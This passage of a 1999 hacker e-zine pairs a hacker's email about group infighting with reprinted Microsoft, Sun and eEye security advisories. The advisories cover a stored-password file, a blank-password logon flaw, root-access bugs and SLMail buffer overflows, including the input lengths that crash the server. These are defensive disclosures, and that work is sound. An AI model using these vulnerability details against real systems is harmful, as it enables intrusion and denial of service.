     Date: Fri, 12 Feb 1999 15:02:34 -0500 (EST)
     From: Bronc Buster <bronc@xxxxxxx.com>
     To: cruciphux <cruciphux@dok.org>
     cc: contact@hackernews.com
     Subject: Re: irc log
     In-Reply-To: <19990212152545.SUKT27696.mail.rdc1.on.home.com@azazel.n0where.org>
     Message-ID: <xxx>
     MIME-Version: 1.0
     Content-Type: TEXT/PLAIN; charset=US-ASCII
     
     
     I thank you for contacting someone and telling us about this. I'll tell
     you what this log is, and what it is about. The l00zerz over at Infowar
     decided they wanted to try and get a peace of the LoU story, so they
     offered to organize a 'secret' meeting with 'professionals' in the
     security and intelligance world to offer us advice after the China hacks
     because it was confermed that the Chinese Govt sent out a memo to some
     internal security group and told them to 'actively' look for me and
     Zyklon.
     
     Because Winn knows that I know he is nothing but a fake, he tried to
     exclude me and Zyklon from the meeting altogeather. As you can see from
     the logs it worked. Once I had been told by other LoU members about it I
     contacted Winn and Betty asking what this was all about. They said it was
     nothing and was not going to happen and to not be concerned. 
     
     As you can see they conspired with the rest of LoU to exclude me (maybe
     Zyklon as well) so that they could have this meeting. What they talked
     about I had no idea until I saw this log. I was told it never took place.
     
     It's funny, me and Zyklon were the people in hot water, and we were the
     ones not included. It's a case of nothing more then the people at Infowar
     wanting a peace of a big story and getting their grubby hands into this
     whole mess.
     
     I don't want to say anything negative about LoU, so suffice it to say, I
     am no longer affiliated with LoU in any way, shape or form. 
     
     If you want to print any of this in your news letter, or if HNN wants to
     print any of this you may, with the exception of anything that I may of
     let slip out about LoU, or any negative comments against LoU. We parted
     ways, you guys can see the BS that surrounded it..
     
     Again, thanks for contacting me
     
     regards,
      Bronc Buster


     <snip>
     
     'Nuff said on this story I think... thanks to Bronc Buster for clearing 
     some of this scenario up, and others for advice on 'handling' you know 
     who you are, also Ruffneck for the log. - Ed
     

      @HWA
      
  5.0 Microsoft advisories
      ~~~~~~~~~~~~~~~~~~~~
      [] Back office server 4.0 
      
       Approved-By: secnotif@MICROSOFT.COM
       Date:         Fri, 12 Feb 1999 12:42:57 -0800
       Sender: Microsoft Product Security Notification Service <MICROSOFT_SECURITY@ANNOUNCE.MICROSOFT.COM>
       From: Microsoft Product Security <secnotif@MICROSOFT.COM>
       Subject:      Microsoft Security Bulletin (MS99-005)
       To: MICROSOFT_SECURITY@ANNOUNCE.MICROSOFT.COM
       
       
       Microsoft Security Bulletin (MS99-005)
       --------------------------------------
       
      >BackOffice Server 4.0 Does Not Delete Installation Setup File
       
       Originally Posted: February 12, 1999
       
       Summary
       =======
      > Microsoft (R) has learned of a potential vulnerability in the installer for
      > BackOffice Server (R) 4.0. The installer asks the user to provide the
      > account userid and password for selected services and writes these to a file
      > in order to automate the installation process. However, the file is not
      > deleted when the installation process completes. As detailed below,
      > Microsoft recommends that BackOffice 4.0 customers delete this file.
       
       Microsoft has received no reports of customers being adversely affected by
       this problem. However, it is releasing this security bulletin in order to
       proactively provide customers with information about the problem in order to
       allow them to take steps to ensure their safe computing.
       
       Issue
       =====
       When a user chooses to install SQL Server (R), Exchange Server (R) or
       Microsoft Transaction Server (R) as part of a BackOffice 4.0 installation,
       the BackOffice installer program requests the name and password for the
       accounts associated with these services. Specifically, it asks for the
       account name and password for the SQL Executive Logon account, the Exchange
       Services Account, and the MTS Remote Administration Account. These values
       are stored in <systemdrive>\Program Files\Microsoft Backoffice\Reboot.ini,
       and used to install the associated services.
       
       BackOffice Server does not erase this file when the installation process is
       completed. This is true regardless of whether the installation process
       completes successfully or unsuccessfully. By default, the Microsoft
       BackOffice folder is not shared, so network access to reboot.ini generally
       does not pose a risk. Users who can log onto the server locally would be
       able to access the file, but in most cases this ability is granted only to
       selected users such as administrators.
       
       The fix for this problem is to delete the file <systemdrive>\Program
       Files\Microsoft Backoffice\Reboot.ini after each BackOffice 4.0
       installation, whether successful or not. The file is created only by the
       installer, and, once deleted, will not be re-created unless BackOffice 4.0
       is re-installed.
       
       Affected Software Versions
       ==========================
       The following software versions are affected:
       - Microsoft BackOffice Server 4.0
       
       What Microsoft is Doing
       =======================
       On February 12th, Microsoft sent this security
       bulletin to customers subscribing to the Microsoft
       Product Security Notification Service
       (see http://www.microsoft.com/security/services/bulletin.asp
       for more information about this free customer service).
       
       Microsoft has published the following Knowledge Base (KB) article on this
       issue:
       - Microsoft Knowledge Base (KB) article Q217004,
          BackOffice Installer Tool Does Not Delete Password Cache File.
          http://support.microsoft.com/support/kb/articles/q217/0/04.asp
           (Note: It might take 24 hours from the original posting of this
          bulletin for the KB article to be visible in the Web-based
          Knowledge Base.)
       
       What customers Should Do
       ========================
       Microsoft recommends that customers ensure that they delete the file
       <systemdrive>\Program Files\Microsoft Backoffice\Reboot.ini after the
       installation program for BackOffice 4.0 completes
       
       More Information
       ================
       Please see the following references for more information related to this
       issue.
       - Microsoft Security Bulletin MS99-005,
          BackOffice 4.0 Does Not Delete Installation Setup File
          (the Web-posted version of this bulletin),
          http://www.microsoft.com/security/bulletins/ms99-005.asp.
       - Microsoft Knowledge Base (KB) article Q217004,
          BackOffice Installer Tool Does Not Delete Password Cache File.
          http://support.microsoft.com/support/kb/articles/q217/0/04.asp
          (Note: It might take 24 hours from the original posting of this
          bulletin for the KB article to be visible in the Web-based
          Knowledge Base.)
       
       Obtaining Support on this Issue
       ===============================
       If you require technical assistance with this issue, please contact
       Microsoft Technical Support. For information on contacting Microsoft
       Technical Support, please see
       
http://support.microsoft.com/support/contact/default.asp.
       
       Revisions
       =========
       - February 12, 1999: Bulletin Created
       
       
       For additional security-related information about Microsoft products, please
       visit http://www.microsoft.com/security
       
       <snip>
       
      Approved-By: secnotif@MICROSOFT.COM
      X-Mailer: Internet Mail Service (5.5.2524.0)
      Date:         Mon, 8 Feb 1999 15:06:09 -0800
      Sender: Microsoft Product Security Notification Service <MICROSOFT_SECURITY@ANNOUNCE.MICROSOFT.COM>
      From: Microsoft Product Security <secnotif@MICROSOFT.COM>
      Subject:      Microsoft Security Bulletin (MS99-004)
      To: MICROSOFT_SECURITY@ANNOUNCE.MICROSOFT.COM
      
      
      Microsoft Security Bulletin (MS99-004)
      --------------------------------------
      
      Patch Available for Authentication Processing Error in Windows NT (r) 4.0
      Service Pack 4
      
      Originally Posted: February 8, 1999
      
      Summary
      =======
   >  Microsoft has released a patch that eliminates a logic error in Service Pack
   >  4 for Windows NT 4.0 that could, under certain conditions, allow a user to
   >  log on interactively and connect to network shares using a blank password.
   >  The vulnerability primarily, but not exclusively, affects Windows NT servers
   >  that serve as domain controllers in environments with DOS, Windows 3.1,
   >  Windows for Workgroups, OS/2 or Macintosh clients. In general, customers who
   >  have deployed only Windows NT, Windows 95 and Windows 98 client workstations
   >  are not at risk from this vulnerability.
      
      A fully supported patch is available for this vulnerability, and Microsoft
      recommends that all customers evaluate the risk to their systems and, as
      appropriate, download and install it on affected computers.
      
      Issue
      =====
      The Windows NT Security Account Manager (SAM) database stores the hashed
      password for each user account in two forms: an "NT hash" form that is used
      to authenticate users on Windows NT clients, and an "LM hash" form that is
      used to authenticate users on Windows 95, Windows 98, and downlevel clients
      such as DOS, Windows 3.1, Windows for Workgroups, OS/2 and Macintosh. When a
      user changes his password via a Windows NT, Windows 95 or Windows 98 client,
      both the "NT hash" and "LM hash" forms of the password are updated in the
      SAM. However, when the user changes his password via a downlevel client,
      only the "LM hash" form of the password is stored; a null value is stored in
      the "NT hash" field. This is normal operation.
      
      When a user attempts an interactive logon or a network share connection from
      a Windows NT system, the Windows NT authentication process uses the "NT
      hash" form of the password. If the "NT hash" is null, the "LM hash" of the
      password is used for verification. (Windows 95, Windows 98 and downlevel
      clients always use only the "LM hash" for verification.) The logic error in
      Service Pack 4 incorrectly allows a null "NT hash" value to be used for
      authentication from Windows NT systems. The result is that if a user
      account's password was last changed from a DOS, Windows 3.1, Windows for
      Workgroups, OS/2 or Macintosh client, a user can logon into that account
      from a Windows NT system using a blank password.
      
      By far the most likely machines to be affected by this vulnerability would
      be domain controllers running Windows NT 4.0 SP 4, in networks that contain
      any of the downlevel clients listed above. However, any server or
      workstation running Windows NT 4.0 SP 4 that contains a SAM database with
      active users who communicate from downlevel clients would be vulnerable to
      this problem. For example, a workgroup of Windows NT 4.0 SP 4 systems, one
      of which is accessed by Windows for Workgroups clients, would be affected by
      
this vulnerability.
      
      It is worth reiterating the following points:
      - Even on an affected network, a user whose most recent
         password change was performed via Windows NT, Windows 95
         or Windows 98 workstations will have a non-null "NT hash"
         value, and hence will not be at risk.
      - Customers who are affected by the vulnerability need only
         apply the patch to machines that contain SAM databases
         with active user accounts.
      - There is no need for users to update or change their passwords
         after applying the patch. Even in vulnerable systems, the SAM
         database entries are valid; the problem lies in the way SP4
         processes them. The patch corrects the authentication process
         logic in SP4 without changing the SAM database entries in any way.
      
      Affected Software Versions
      ==========================
      The following software versions are affected:
      - Microsoft Windows NT 4.0, Service Pack 4
      
      What Microsoft is Doing
      =======================
      On February 8th, Microsoft released a patch that fixes the problem
      identified above. This patch is available for download from the sites listed
      below.
      
      Microsoft has sent this security bulletin to customers subscribing
      to the Microsoft Product Security Notification Service (see
      
http://www.microsoft.com/security/services/bulletin.asp for more
      information about this free customer service).
      
      Microsoft has published the following Knowledge Base (KB) article on this
      issue:
      - Microsoft Knowledge Base (KB) article Q214840,
         MSV1_0 Incorrectly Allows Network Connections for Specific Accounts
         http://support.microsoft.com/support/kb/articles/q214/8/40.asp
         (Note: It might take 24 hours from the original posting of this
         bulletin for the KB article to be visible in the Web-based
         Knowledge Base.)
      
      Microsoft has posted the following hot fixes to address this problem.
      Please note that the URLs below have been word-wrapped for readability.
      - Fix for x86 version:
         ftp://ftp.microsoft.com/bussys/winnt/winnt-public
         /fixes/usa/NT40/hotfixes-postSP4/Msv1-fix/msv-fixi.exe
      - Fix for Alpha version:
         ftp://ftp.microsoft.com/bussys/winnt/winnt-public
         /fixes/usa/NT40/hotfixes-postSP4/Msv1-fix/msv-fixa.exe
      
      What Customers Should Do
      ========================
      The patch for this vulnerability is fully supported, and Microsoft
      recommends that all affected customers apply it. The URLs for the patch are
      provided above in What Microsoft is Doing.
      
      More Information
      ================
      Please see the following references for more information related to this
      issue.
      - Microsoft Security Bulletin MS99-004,
         Patch Available for Authentication Processing
         Error in Windows NT 4.0 Service Pack 4 (the
         Web-posted version of this bulletin),
         http://www.microsoft.com/security/bulletins/ms99-004.asp.
      - Microsoft Knowledge Base (KB) article Q214840,
         MSV1_0 Incorrectly Allows Network Connections for
         Specific Accounts.
         http://support.microsoft.com/support/kb/articles/q214/8/40.asp
         (Note: It might take 24 hours from the original posting
         of this bulletin for the KB article to be visible in the
         Web-based Knowledge Base.)
      

      Acknowledgements
      ================
      Microsoft wishes to acknowledge Harry Johnston, School of Computing and
      Mathematical Sciences, University of Waikato, New Zealand, for discovering
      this vulnerability and reporting it to us.
      
      Obtaining Support on this Issue
      ===============================
      This is a supported patch. If you have problems installing
      this patch or require technical assistance with this patch,
      please contact Microsoft Technical Support. For information
      on contacting Microsoft Technical Support, please see
      
http://support.microsoft.com/support/contact/default.asp.
      
      Revisions
      =========
      - February 8, 1999: Bulletin Created
      
      For additional security-related information about Microsoft
      products, please visit http://www.microsoft.com/security
      
      -----------------------------------------------------------
      
      THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
      WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
      EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
      FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
      SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
      INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN
      IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
      POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
      LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
      FOREGOING LIMITATION MAY NOT APPLY.
      
      (c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
      
         *******************************************************************
      You have received  this e-mail bulletin as a result  of your registration
      to  the   Microsoft  Product  Security  Notification   Service.  You  may
      unsubscribe from this e-mail notification  service at any time by sending
      an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUEST@ANNOUNCE.MICROSOFT.COM
      The subject line and message body are not used in processing the request,
      and can be anything you like.
      
      For  more  information on  the  Microsoft  Security Notification  Service
      please    visit    http://www.microsoft.com/security/bulletin.htm.    For
      security-related information  about Microsoft products, please  visit the
      Microsoft Security Advisor web site at http://www.microsoft.com/security.
     
     @HWA
     
  5.1  Sun security advisories   
       ~~~~~~~~~~~~~~~~~~~~~~~ 
       
       { Sorry but the excess crap has been left in these advisories to keep the
       legal people happy. - Ed }
       
        Date: Wed, 10 Feb 1999 11:24:01 -0800
        From: secure@sunsc.Eng.Sun.COM (Sun Security Coordination Team)
        Message-Id: <199902101924.LAA25198@sunsc.eng.sun.com>
        To: CWS@sunsc.Eng.Sun.COM
        X-Sun-Charset: US-ASCII
        Subject: Sun Security Bulletin #00183
        
        -----BEGIN PGP SIGNED MESSAGE-----
        
        ________________________________________________________________________________
        		   Sun Microsystems, Inc. Security Bulletin
        		
        Bulletin Number:	#00183
        Date: 			February 10, 1999
        
Cross-Ref:		
        Title:			sdtcm_convert
        ________________________________________________________________________________
        
        The information contained in this Security Bulletin is provided "AS IS." 
        Sun makes no warranties of any kind whatsoever with respect to the information 
        contained in this Security Bulletin. ALL EXPRESS OR IMPLIED CONDITIONS, 
        REPRESENTATIONS AND WARRANTIES, INCLUDING ANY WARRANTY OF NON-INFRINGEMENT OR 
        IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, ARE 
        HEREBY DISCLAIMED AND EXCLUDED TO THE EXTENT ALLOWED BY APPLICABLE LAW.
        
        IN NO EVENT WILL SUN MICROSYSTEMS, INC. BE LIABLE FOR ANY LOST REVENUE, 
        PROFIT OR DATA, OR FOR DIRECT, SPECIAL, INDIRECT, CONSEQUENTIAL, INCIDENTAL 
        OR PUNITIVE DAMAGES HOWEVER CAUSED AND REGARDLESS OF ANY THEORY OF LIABILITY 
        ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN 
        THIS SECURITY BULLETIN, EVEN IF SUN MICROSYSTEMS, INC. HAS BEEN ADVISED OF 
        THE POSSIBILITY OF SUCH DAMAGES.
        
        If any of the above provisions are held to be in violation of applicable law, 
        void, or unenforceable in any jurisdiction, then such provisions are waived 
        to the extent necessary for this disclaimer to be otherwise enforceable in 
        such jurisdiction.
        ________________________________________________________________________________
        
        1.  Background
        
            sdtcm_convert is a setuid-root calendar data conversion utility which
            converts version 3 (OpenWindows) calendar data format to version 4 
            (extensible calendar data format), and vice versa. A buffer overflow
            has been discovered which may be exploited to gain root access.  
        
        2.  Affected Supported Versions
                
            Solaris(tm) versions:   7, 7_x86, 2.6, 2.6_x86, 2.5.1, 2.5.1_x86, 2.5,
                                    2.5_x86, 2.4 and 2.4_x86 running CDE
                           
        3.  Recommendations
        
            Sun recommends that you install the respective patches immediately
            on affected systems.
            
            CDE Version		Patch ID        
            ___________		_________ 
            1.3                 107022-01
            1.3_x86             107023-01
            1.2                 105566-06
            1.2_x86             105567-07
            1.0.2               103670-06
            1.0.2_x86           103717-06
            1.0.1               103671-06
            1.0.1_x86           103718-06
        
        _______________________________________________________________________________
        APPENDICES
        
        A.  Patches listed in this bulletin are available to all Sun customers via 
            World Wide Web at:
            
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        B.  Checksums for the patches listed in this bulletin are available via 
            World Wide Web at:
        
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        C.  Sun security bulletins are available via World Wide Web at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins>
        	
        D.  Sun Security Coordination Team's PGP key is available via World Wide Web 
            at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins/SunSCkey.txt>
        		    	    	    
        E.  To report or inquire about a security problem with Sun software, contact 
            one or more of the following:
          
                - Your local Sun answer centers
                - Your representative computer security response team, such as CERT 
                - Sun Security Coordination Team. Send email to:
        	
             		security-alert@sun.com
        
        F.  To receive information or subscribe to our CWS (Customer Warning System) 
            mailing list, send email to:
            
            		security-alert@sun.com
           
            with a subject line (not body) containing one of the following commands:
        
                Command         Information Returned/Action Taken
                _______         _________________________________
        
                help            An explanation of how to get information
                
                key             Sun Security Coordination Team's PGP key
        	
                list            A list of current security topics
        
                query [topic]   The email is treated as an inquiry and is forwarded to 
                                the Security Coordination Team
        
                report [topic]  The email is treated as a security report and is
                                forwarded to the Security Coordination Team. Please 
                                encrypt sensitive mail using Sun Security Coordination
                                Team's PGP key
        
                send topic      A short status summary or bulletin. For example, to 
                                retrieve a Security Bulletin #00138, supply the 
                                following in the subject line (not body):
                		
                                        send #138
        
                subscribe       Sender is added to our mailing list.  To subscribe, 
                                supply the following in the subject line (not body):
        
                                    	subscribe cws your-email-address
        			
                                Note that your-email-address should be substituted
                                by your email address.
        			
                unsubscribe     Sender is removed from the CWS mailing list.
        ________________________________________________________________________________
        
        Copyright 1999 Sun Microsystems, Inc. All rights reserved. Sun, 
        Sun Microsystems, Solaris and SunOS are trademarks or registered trademarks 
        of Sun Microsystems, Inc. in the United States and other countries. This 
        Security Bulletin may be reproduced and distributed, provided that this 
        Security Bulletin is not modified in any way and is attributed to 
        Sun Microsystems, Inc. and provided that such reproduction and distribution 
        is performed for non-commercial purposes.
        
        
        
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        =B8vf
        -----END PGP SIGNATURE-----
        
        
        Date: Wed, 10 Feb 1999 12:01:07 -0800
        From: secure@sunsc.Eng.Sun.COM (Sun Security Coordination Team)
        Message-Id: <199902102001.MAA25280@sunsc.eng.sun.com>
        To: CWS@sunsc.Eng.Sun.COM
        Subject: Sun Security Bulletin #00184
        X-Sun-Charset: US-ASCII
        
        -----BEGIN PGP SIGNED MESSAGE-----
        
        ________________________________________________________________________________
        		   Sun Microsystems, Inc. Security Bulletin
        		
        Bulletin Number:	#00184
        Date: 			February 10, 1999
        Cross-Ref:		
        Title:			man/catman
        ________________________________________________________________________________
        
        The information contained in this Security Bulletin is provided "AS IS." 
        Sun makes no warranties of any kind whatsoever with respect to the information 
        contained in this Security Bulletin. ALL EXPRESS OR IMPLIED CONDITIONS, 
        REPRESENTATIONS AND WARRANTIES, INCLUDING ANY WARRANTY OF NON-INFRINGEMENT OR 
        IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, ARE 
        HEREBY DISCLAIMED AND EXCLUDED TO THE EXTENT ALLOWED BY APPLICABLE LAW.
        
        IN NO EVENT WILL SUN MICROSYSTEMS, INC. BE LIABLE FOR ANY LOST REVENUE, 
        PROFIT OR DATA, OR FOR DIRECT, SPECIAL, INDIRECT, CONSEQUENTIAL, INCIDENTAL 
        OR PUNITIVE DAMAGES HOWEVER CAUSED AND REGARDLESS OF ANY THEORY OF LIABILITY 
        ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN 
        THIS SECURITY BULLETIN, EVEN IF SUN MICROSYSTEMS, INC. HAS BEEN ADVISED OF 
        THE POSSIBILITY OF SUCH DAMAGES.
        
        If any of the above provisions are held to be in violation of applicable law, 
        void, or unenforceable in any jurisdiction, then such provisions are waived 
        to the extent necessary for this disclaimer to be otherwise enforceable in 
        such jurisdiction.
        ________________________________________________________________________________
        
        1.  Background
        
            The man command displays information from the reference manuals. The
            catman utility creates preformatted versions of the on-line manuals.
            Vulnerabilities have been discovered with these commands that may be
            exploited to overwrite arbitrary files when man or catman is executed
            by root.
            
        2.  Affected Supported Versions
                
            Solaris(tm) versions:   7, 7_x86, 2.6, 2.6_x86, 2.5.1, 2.5.1_x86, 2.5,
                                    2.5_x86, 2.4, 2.4_x86, and 2.3
                                    
            SunOS(tm) versions:     4.1.4 and 4.1.3_U1 
                           
        3.  Recommendations
        
            Sun recommends that you install the respective patches immediately
            on affected systems.
            
            Operating System	Patch ID	
            _________________   _________    
            Solaris 7           107038-01		
            Solaris 7_x86       107039-01
            Solaris 2.6         106123-04		
            Solaris 2.6_x86     106124-04
            Solaris 2.5.1       106905-01
            Solaris 2.5.1_x86   106906-01
            Solaris 2.5         106907-01
            Solaris 2.5_x86     106908-01
            Solaris 2.4         106912-01
            Solaris 2.4_x86     106962-01
            Solaris 2.3         106911-01
            SunOS   4.1.4	107157-01
                                107144-01
            SunOS   4.1.3_U1	107156-01
                                107143-01
                                
        _______________________________________________________________________________
        APPENDICES
        
        A.  Patches listed in this bulletin are available to all Sun customers via 
            World Wide Web at:
            
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        B.  Checksums for the patches listed in this bulletin are available via 
            World Wide Web at:
        
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        C.  Sun security bulletins are available via World Wide Web at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins>
        	
        D.  Sun Security Coordination Team's PGP key is available via World Wide Web 
            at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins/SunSCkey.txt>
        		    	    	    
        E.  To report or inquire about a security problem with Sun software, contact 
            one or more of the following:
          
                - Your local Sun answer centers
                - Your representative computer security response team, such as CERT 
                - Sun Security Coordination Team. Send email to:
        	
             		security-alert@sun.com
        
        F.  To receive information or subscribe to our CWS (Customer Warning System) 
            mailing list, send email to:
            
            		security-alert@sun.com
           
            with a subject line (not body) containing one of the following commands:
        
                Command         Information Returned/Action Taken
                _______         _________________________________
        
                help            An explanation of how to get information
                
                key             Sun Security Coordination Team's PGP key
        	
                list            A list of current security topics
        
                query [topic]   The email is treated as an inquiry and is forwarded to 
                                the Security Coordination Team
        
                report [topic]  The email is treated as a security report and is
                                forwarded to the Security Coordination Team. Please 
                                encrypt sensitive mail using Sun Security Coordination
                                Team's PGP key
        
                send topic      A short status summary or bulletin. For example, to 
                                retrieve a Security Bulletin #00138, supply the 
                                following in the subject line (not body):
                		
                                        send #138
        
                subscribe       Sender is added to our mailing list.  To subscribe, 
                                supply the following in the subject line (not body):
        
                                    	subscribe cws your-email-address
        			
                                Note that your-email-address should be substituted
                                by your email address.
        			
                unsubscribe     Sender is removed from the CWS mailing list.
        ________________________________________________________________________________
        
        Copyright 1999 Sun Microsystems, Inc. All rights reserved. Sun, 
        Sun Microsystems, Solaris and SunOS are trademarks or registered trademarks 
        of Sun Microsystems, Inc. in the United States and other countries. This 
        Security Bulletin may be reproduced and distributed, provided that this 
        Security Bulletin is not modified in any way and is attributed to 
        Sun Microsystems, Inc. and provided that such reproduction and distribution 
        is performed for non-commercial purposes.
        
        
        
        -----BEGIN PGP SIGNATURE-----
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        =XsT5
        -----END PGP SIGNATURE-----

        
        Date: Wed, 10 Feb 1999 12:01:34 -0800
        From: secure@sunsc.Eng.Sun.COM (Sun Security Coordination Team)
        Message-Id: <199902102001.MAA25297@sunsc.eng.sun.com>
        To: CWS@sunsc.Eng.Sun.COM
        Subject: Sun Security Bulletin #00185
        X-Sun-Charset: US-ASCII
        
        -----BEGIN PGP SIGNED MESSAGE-----
        
        ________________________________________________________________________________
        		   Sun Microsystems, Inc. Security Bulletin
        		
        Bulletin Number:	#00185
        Date: 			February 10, 1999
        
Cross-Ref:		CERT CA-98.02
        Title:			Common Desktop Environment (CDE)
        ________________________________________________________________________________
        
        The information contained in this Security Bulletin is provided "AS IS." 
        Sun makes no warranties of any kind whatsoever with respect to the information 
        contained in this Security Bulletin. ALL EXPRESS OR IMPLIED CONDITIONS, 
        REPRESENTATIONS AND WARRANTIES, INCLUDING ANY WARRANTY OF NON-INFRINGEMENT OR 
        IMPLIED WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, ARE 
        HEREBY DISCLAIMED AND EXCLUDED TO THE EXTENT ALLOWED BY APPLICABLE LAW.
        
        IN NO EVENT WILL SUN MICROSYSTEMS, INC. BE LIABLE FOR ANY LOST REVENUE, 
        PROFIT OR DATA, OR FOR DIRECT, SPECIAL, INDIRECT, CONSEQUENTIAL, INCIDENTAL 
        OR PUNITIVE DAMAGES HOWEVER CAUSED AND REGARDLESS OF ANY THEORY OF LIABILITY 
        ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN 
        THIS SECURITY BULLETIN, EVEN IF SUN MICROSYSTEMS, INC. HAS BEEN ADVISED OF 
        THE POSSIBILITY OF SUCH DAMAGES.
        
        If any of the above provisions are held to be in violation of applicable law, 
        void, or unenforceable in any jurisdiction, then such provisions are waived 
        to the extent necessary for this disclaimer to be otherwise enforceable in 
        such jurisdiction.
        ________________________________________________________________________________
        
        1.  Background
        
            Several vulnerabilities in the Common Desktop Environment (CDE) may be
            be exploited to gain root access and remove arbitrary files.
        
        2.  Affected Supported Versions
                
            Solaris(tm) versions:   2.6, 2.6_x86, 2.5.1, 2.5.1_x86, 2.5,
                                    2.5_x86, 2.4 and 2.4_x86 running CDE
                                    
            Solaris 7 is not affected.              
                           
        3.  Recommendations
        
            Sun recommends that you install the respective patches immediately
            on affected systems.
            
            CDE Version         Patch ID        
            ___________         _________ 
            1.2			106112-03
            			105837-02
            1.2_x86		106113-03 
            	    		105838-02
            1.0.2		104661-07
            			104498-05
            			103882-09
            1.0.2_x86		104663-08
              			104500-05
              			103886-08
            1.0.1		104660-04
            			104497-05
            			103884-07
            1.0.1_x86		104662-05
            			104499-05
            			103885-07
              
        _______________________________________________________________________________
        APPENDICES
        
        A.  Patches listed in this bulletin are available to all Sun customers via 
            World Wide Web at:
            
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        B.  Checksums for the patches listed in this bulletin are available via 
            World Wide Web at:
        
            	<URL:http://sunsolve.sun.com/sunsolve/pubpatches/patches.html>
        
        C.  Sun security bulletins are available via World Wide Web at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins>
        	
        D.  Sun Security Coordination Team's PGP key is available via World Wide Web 
            at:
        
        	<URL:http://sunsolve.sun.com/sunsolve/secbulletins/SunSCkey.txt>
        		    	    	    
        E.  To report or inquire about a security problem with Sun software, contact 
            one or more of the following:
          
                - Your local Sun answer centers
                - Your representative computer security response team, such as CERT 
                - Sun Security Coordination Team. Send email to:
        	
             		security-alert@sun.com
        
        F.  To receive information or subscribe to our CWS (Customer Warning System) 
            mailing list, send email to:
            
            		security-alert@sun.com
           
            with a subject line (not body) containing one of the following commands:
        
                Command         Information Returned/Action Taken
                _______         _________________________________
        
                help            An explanation of how to get information
                
                key             Sun Security Coordination Team's PGP key
        	
                list            A list of current security topics
        
                query [topic]   The email is treated as an inquiry and is forwarded to 
                                the Security Coordination Team
        
                report [topic]  The email is treated as a security report and is
                                forwarded to the Security Coordination Team. Please 
                                encrypt sensitive mail using Sun Security Coordination
                                Team's PGP key
        
                send topic      A short status summary or bulletin. For example, to 
                                retrieve a Security Bulletin #00138, supply the 
                                following in the subject line (not body):
                		
                                        send #138
        
                subscribe       Sender is added to our mailing list.  To subscribe, 
                                supply the following in the subject line (not body):
        
                                    	subscribe cws your-email-address
        			
                                Note that your-email-address should be substituted
                                by your email address.
        			
                unsubscribe     Sender is removed from the CWS mailing list.
        ________________________________________________________________________________
        
        Copyright 1999 Sun Microsystems, Inc. All rights reserved. Sun, 
        Sun Microsystems, Solaris and SunOS are trademarks or registered trademarks 
        of Sun Microsystems, Inc. in the United States and other countries. This 
        Security Bulletin may be reproduced and distributed, provided that this 
        Security Bulletin is not modified in any way and is attributed to 
        Sun Microsystems, Inc. and provided that such reproduction and distribution 
        is performed for non-commercial purposes.
        
        
        
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  5.2  eEYe security advisories - Feb 1999
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       ________________________________________________________________________

       eEye Digital Security Team <e>
       www.eEye.com
       info@eEye.com
       February 04, 1999
       ________________________________________________________________________
       
       Multiple SLMail Vulnerabilities
       
       Systems Affected
       SLMail 3.1
       
       Release Date
       February 04, 1999
       
       Advisory Code
       AD02041999
       
       ________________________________________________________________________
       
       Description:
       ________________________________________________________________________
       
       We were once again grinding software through Retina Alpha code and have
       found the following.
       
       One of the ports that SLMail's POP Service listens on is port 27. It
       provides ESMTP functionality. The only difference between it and SLMail's
       SMTP service is that port 27 provides the "turn" functions. All
       vulnerabilities are based off of the port 27 service.
       
       The first vulnerability involves the "helo" command. There are two
       vulnerabilities within it. The first is sending "helo" followed by 819 to
       849 characters. This will send the servers CPU to idle around 90%.
       
       The second vulnerability in the "helo" command is a buffer overflow. If you
       issue "helo" followed by 855 to 2041 characters the server will crash with
       your typical overflow error.
       
       The second set of vulnerabilities are with the "vrfy" and "expn" commands.
       We have not tested to find the start and stop string lengths but sending
       "vrfy" or "expn" with 2041 characters will cause the SLMail.exe to exit
       itself.
       
       So we can either send the CPU to 90%, overflow some buffers, or have the
       server exit without a trace. Take your pick.
       
       ________________________________________________________________________
       
       Vendor Status
       ________________________________________________________________________
       
       We gave SeattleLabs a week. We have no reply so far. Contact them directly
       and maybe they will respond.
       
       ________________________________________________________________________
       
       Copyright (c) 1999 eEye Digital Security Team
       ________________________________________________________________________
       
       Permission is hereby granted for the redistribution of this alert
       electronically. It is not to be edited in any way without express consent of
       eEye. If you wish to reprint the whole or any part of this alert in any
       other medium excluding electronic medium, please e-mail alert@eEye.com for
       permission.
       
       ________________________________________________________________________
       
       Disclaimer:
       ________________________________________________________________________
